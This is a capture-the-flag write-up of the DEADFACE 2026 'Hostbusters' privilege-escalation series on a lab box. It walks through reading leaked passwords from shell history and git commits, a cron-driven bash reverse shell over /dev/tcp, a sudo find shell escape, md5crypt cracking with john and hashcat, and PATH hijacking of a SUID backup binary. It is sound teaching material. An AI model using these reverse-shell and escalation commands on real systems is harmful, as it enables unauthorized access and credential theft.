DEADFACE CTF 2026 - Hostbusters
24 October 2026 by Flo
Hostbusters Writeup
No AI was used to solve the challenge or to write this writeup.
Hostbusters is a series of horizontal privesc challenges. Our environment is charon, the internal ops/staging box from DEADFACE running Alpine Linux.
In hindsight they should have called it the oops box, or should they? (The last challenge might blow your mind.)
____ _ _ _ ____ ___ _ _
/ ___| | | | / \ | _ \ / _ \| \ | |
| | | |_| | / _ \ | |_) | | | | \| |
| |___| _ |/ ___ \| _ <| |_| | |\ |
\____|_| |_/_/ \_\_| \_\\___/|_| \_|
DEADFACE ops/staging — Kingmaker workstream. Authorized members only.
You have a foothold as svc-deploy. Investigate. Escalate. Find the flags.
charon:~$
1 Foothold on Charon
Open the web-shell by clicking the link below. You’ll land at a shell as the
svc-deployservice account. Get your bearings and find the flag that proves your foothold.
Easy as is, we ls and cat flag.txt to find the flag deadface{f00th0ld_p4st_th3_v31l}.
2 Looking Back
Whichever member of DEADFACE used the
svc-deployaccount last was sloppy. There are many DEADFACE members who use this machine. Access one of their accounts and read the flag in their home directory.
Anyone who used the account the last time might have left some traces. So we look back and read the only other file in our home directory .bash_history, which contains the previously executed commands, including a password.
# ticket OPS-4471: rotate member pw after onboarding
echo "deephax:Sk4t3rB0y_S1nce_2011" | sudo chpasswd
We su deephax, paste the password, and read the flag from his home directory deadface{sh3ll_h1st0ry_t3lls_4ll}.
3 Git Good
As
deephax, you can see this member keeps a little tooling project in his home directory.deephaxswears he scrubbed the credentials out of it. He’s wrong. Recover the password for the next member, become that user, and read their flag.
deephax home directory contains a folder kingmaker-scraper and notes.txt, which reads:
reminder: I committed the scraper service pw by accident and “removed” it in the next commit. must scrub git history properly at some point.
He did in fact not scrub the git history.
The folder is a git repo and contains config.py:
import os
# scraper service account (secret moved to env — see vault)
SERVICE_USER = "gh0st404"
SERVICE_PW = os.environ.get("SCRAPER_PW", "")
git log shows 2 commits and checking out the first one reveals a different config.py:
# scraper service account
SERVICE_USER = "gh0st404"
SERVICE_PW = "Gh0stInTh3Sh3ll_404"
We su gh0st404 and read the flag deadface{g1t_l0g_sp1lls_s3cr3ts}. We git warm and are logged in.
4 On Schedule
gh0st404maintains a nightly collector script on charon. Somebody else’s account runs it on a schedule. Use that to become the next user and read their flag.
gh0st404’s home directory contains a readme:
gh0st404 // scrape ops The nightly collector under /opt/scrape feeds sunstalker’s analyst pipeline. Targets this cycle: TGRI exec calendars, Cronin Group filings.
And it does not lie. We find a cronjob that runs every minute /etc/cron.d/charon-collect as sunstalker:
# charon collector: runs as sunstalker; script is maintained by gh0st404
* * * * * sunstalker /opt/scrape/collect.sh
Time to change collect.sh to a classic SUID-shell primitive
cp /bin/sh /tmp/sh; chown sunstalker:sunstalker /tmp/sh; chmod u+s /tmp/sh
… which does not work because BusyBox /bin/sh does not support -p, which is required to keep the effective user id. Neither does it work with bash, nor do the other 20 approaches we tested :/ We follow the good motto “try harder” and finally settle with
#!/bin/bash
/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
This will connect to port 4444, which we listen to with nc -lvnp 4444.
We wait for the cronjob and obtain deadface{cr0n_c4rr13d_my_p4yl04d}
5 Lilith
sunstalkerwas granted a narrow permission “to help another member run a job.” Narrow permissions on the wrong binary aren’t narrow at all. Become the next user and read their flag.
So, let’s check our sudo privileges
charon:~$ sudo -l
User sunstalker may run the following commands on charon:
(lilith) NOPASSWD: /usr/bin/find
Bingo. find has the argument flag -exec, which allows us to execute arbitrary commands. So, as sunstalker we do:
sudo -u lilith /usr/bin/find . -exec /bin/sh \; -quit
and profit. lilith’s flag is deadface{sud0_f1nd_4_w4y_1n}
6 Dangerous Capabilities
lilithdid OSINT correlation for the op and left some “crypto tooling” lying around charon. One of those tools was granted a Linux capability it should never have had. Use it to become the next user and read their flag.
This challenge was more about finding the “crypto tooling”, because once we find /opt/crypto/cryptctl, we just need to execute it to assume the identity of spookyboi.
charon:~$ /opt/crypto/cryptctl
[cryptctl] assuming the crypto service identity.
charon:~$ whoami
spookyboi
The flag is deadface{c4p_s3tu1d_cuts_d33p}.
7 Old Habits
spookyboihandled decryption for the crew and kept notes on the rest of the team. One of them: the DEADFACE second-in-command,mort1cia— who, apparently, still hasn’t changed her password, and reuses the same personal one everywhere. mort1cia has a past, and it was exposed elsewhere. Track down the password she’s been assigned, become her, and read the flag. Recovermort1cia’s password, become that user, and read her flag.
From spookyboi we find mort1cias credentials in ~/.backup/creds.bak:
mort1cia:$1$de4df4ce$1pZYBMgWLPXg1tZo6pke20
The $1$ refers to a md5 hash, which can be generated very fast. Additionally, the challenge description hints strongly toward finding the password that matches the hash. So we use the password cracker john with the infamous rockyou wordlist and find no matches, unfortunately.
Seems like a classic DEADFACE. It requires us to use information from totally other challenges to recover the key. Fortunately, saarsec has wonderful OSINT experts that remembered this discussion, which has spicy info. From there on we run cewl to get a custom wordlist and run
hashcat hash.txt wordlist.txt -r /usr/share/hashcat/rules/best66.rule
… and get no result. Alright, back to basics.
From reading the discussion, one message stands out.
Multiple members guessed the password, and they mentioned the word “princess” multiple times. Also, the photo has a date. After a few guesses that we appended to the wordlist, we get one that worked: princess2015. Wave the flag deadface{0s1nt_n3v3r_f0rg3ts}.
8 Heavy is the Crown
You’ve reached
mort1cia, the DEADFACE second-in-command. Only root is above you now — and root holds the master Kingmaker payload. Read the final flag from root’s home.
Finally, a vertical privesc. The challenge that makes all previous ones obsolete and which got published last (only after we had solved the previous ones already). It almost seems like the authors thought of this …
We started by looking for suid binaries, which are notorious for privesc and found /usr/local/bin/charon-backup. Let’s execute it:
charon:~$ /usr/local/bin/charon-backup
[charon-backup] archiving /opt/ops ...
[charon-backup] done.
Alright then, keep your secrets. What else?
charon:~$ strings /usr/local/bin/charon-backup | grep -Ev "^__|^str|\.c$"
...
ATUSH
([]A\A]A^A_
[charon-backup] archiving /opt/ops ...
tar czf /var/backups/charon-ops.tgz -C /opt ops 2>/dev/null
[charon-backup] archive step returned %d
[charon-backup] done.
/dev/null
/bin/sh
-0X+0X 0X-0x+0x 0x
...
There it is. Notice how it runs /bin/sh but just tar. One absolute path, the other relative. That means the executable looks in the PATH variable for the actual path of tar, which we can manipulate, and since the binary runs as root, tar runs as root. So, we create a custom tar binary that reads the flag. Then, we add its directory to the PATH and profit.
echo 'cat /root/* > /tmp/test' > tar
chmod +x tar
PATH=.:$PATH /usr/local/bin/charon-backup
cat /tmp/test
This gives us:
deadface{p4th_h1j4ck3d_t0_thr0n3}
== KINGMAKER MASTER PAYLOAD ==
Consolidated leverage across Aurora Health, TGRI, Cronin Group and De Monne
Financial. Release schedule and kompromat index held here by d34th.
Influence is the real weapon.
Alright, I take back the oops box. charon guided us to d34th, pure cinema.
Final Words
Ok, I lied. The final challenge might not have blown your mind, but I hope you learned something. This was a fun challenge series with a good and steady increase in difficulty. Remember to never write your passwords into files, use absolute paths in your scripts, and try harder.